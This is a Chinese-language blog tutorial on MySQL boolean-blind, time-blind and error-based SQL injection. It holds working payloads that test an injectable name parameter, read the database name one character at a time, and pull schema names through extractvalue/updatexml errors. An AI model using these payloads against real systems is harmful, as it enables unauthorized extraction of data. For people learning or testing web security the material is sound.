zoukankan      html  css  js  c++  java
  • 盲注&报错注入-mysql

    看到身边同学写个 sql 注入脚本不费吹灰之力,我酸了,你要问我是什么酸,写不出来的心酸。

    前提

    SQL 注入通常出现在查询条件where可控,类似于"SELECT * FROM user WHERE user='".$_GET['name']."'"
    那这个where的屁股后面能接上一些什么sql语句呢?

    SELECT * FROM user WHERE user="admin" ADN 1=1
    SELECT * FROM user WHERE user="admin" UNION SELECT * FROM xxx WHERE xxx=xxx
    SELECT * FROM user WHERE user="admin" ADN sleep(5)
    SELECT * FROM user WHERE user="admin" ADN if(xxx=xxx,true,false)
    

    注意:通常我们需要考虑到参数是 整型 还是 字符型,也就是添加 引号

    我们知道:

    条件语句中的 (expr1 and expr2),expr2 只会在 expr1 为真的情况下才会执行;(expr1 or expr2),expr1、expr2 都会执行

    mysql 中有个特殊的数据库 information_schema,这里面存了数据库的所有信息,包括数据库名、数据库表名、数据列名

    # 从 information_schema.schemata 查询所有 库名
    select schema_name from information_schema.schemata
    
    # 从得到的库名在 information_schema.tables 中查询该库内的表名(limit 限制得到的数量,当让也可以直接使用 group_concat(table_name) 在一行结果中得到所有所有的表名)
    select table_name from information_schema.tables where table_schema="xxx" limit 0,1
    
    # 同理可以从 information_schema.columns 中查询对应表中的列名
    select column_name from information_schema.columns where table_schema="xxx" and table_name="xxx" limit 0,1
    
    

    布尔盲注

    布尔盲注,一般是根据响应内容不同加以判断,看到以下几个常用函数:

    sql 语法 含义
    length("string") 计算字符长度
    sleep(5) 延迟n秒
    ord("a") 字符转成ascii
    substring("string",strart,length)/substr("string",strart,length) 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符

    那么类似于"SELECT * FROM user WHERE user='".$_GET['name']."'"这个sql注入,我们通过提交怎样的参数能判断是否存在布尔盲注并注入出数据呢?

    # 简单判断是否存在布尔盲注
    1. 首先假设不存在 admin 用户
    ?name=admin' or '1'='1   # 最终响应存在该用户
    
    当使用 and时:
    2. 首先假设存在 admin 用户
    ?name=admin' and '1'='2   # 最终响应存在该用户
    
    
    
    # 那么如何注入出数据呢?注意,此时是存在 admin 用户的,这样才能确保 and 后面的条件语句被执行。我们假设存在用户会回显:用户存在
    ?name=admin' and (select length(database())) = 5 and '1'='1    # 此时,只有当数据库长度恰好等于 5 时,网页才会回显用户存在,因此我们可以依据这个判断数据库长度
    ?name=admin' and (select ord(substring(database(),1,1))) = 97 and '1'='1    # 此时,只有数据库第一个字母的 ascii 码为 97,网页才会回显用户存在
    
    

    时间盲注

    时间盲注中常用的有一下几个 sql 函数及语法:

    sql 语法 含义
    if(expr1,expr2,expr3) 当expr1成立时,会执行expr2,反之执行expr3
    sleep(5) 延迟n秒
    benchmark(10000000,sha(1)); BENCHMARK会重复计算expr表达式count次,打到延时
    ascii("a") 字符转成ascii
    ord("a") 字符转成ascii
    substring("string",strart,length)/substr("string",strart,length) 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符
    MID(column_name,start[,length]) 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符
    left(str, len) 字符串左截取函数,返回str的左len个字符
    right(str, len) 字符串右截取函数,返回sre的右len个字符

    那么类似于"SELECT * FROM user WHERE user='".$_GET['name']."'"这个 sql 注入,我们通过提交怎样的参数能注入出数据呢?

    ?name=' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1
    

    通过不断替换if语句中的值,如 97 代表 a,我们便可以通过响应时间简单地注入出数据库名

    报错注入

    构造特殊的 sql 语句,让信息以报错的形式显示出来。通常利用的是如下的函数

    • UPDATEXML (XML_document, XPath_string, new_value);
    • EXTRACTVALUE (XML_document, XPath_string);
      构造错误的XPath_string 参数,使语句报错从而带出数据
      例如:
    select extractvalue(1,concat(0x7e,(select database()),0x7e))
    select updatexml(1,concat(0x7e,(select database()),0x7e),1)
    
    select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))
    


    从图片中可以发现,报错的到的结果限定长度 32 位,所以当数据很长的时候需要使用substr、mid等函数截断结果
    select extractvalue(1,concat(0x7e,(select substr("string",1,1)),0x7e))
    当然还有一些其他的函数能构造报错,具体可以看:十种MySQL报错注入,测试发现:高版本均无法成功

  • 相关阅读:
    10003 Cutting Sticks(区间dp)
    Cocos2d-x init() 和 onEnter() 区别
    HDU1181【有向图的传递闭包】
    空间参考系统与WKT解析
    面试经典-分金条
    uvalive 3971
    lua学习:使用Lua处理游戏数据
    面试经典--两个房间 每间房间三盏灯
    浙江大学PAT上机题解析之2-11. 两个有序链表序列的合并
    顺序队列之C++实现
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/14891289.html
Copyright © 2011-2022 走看看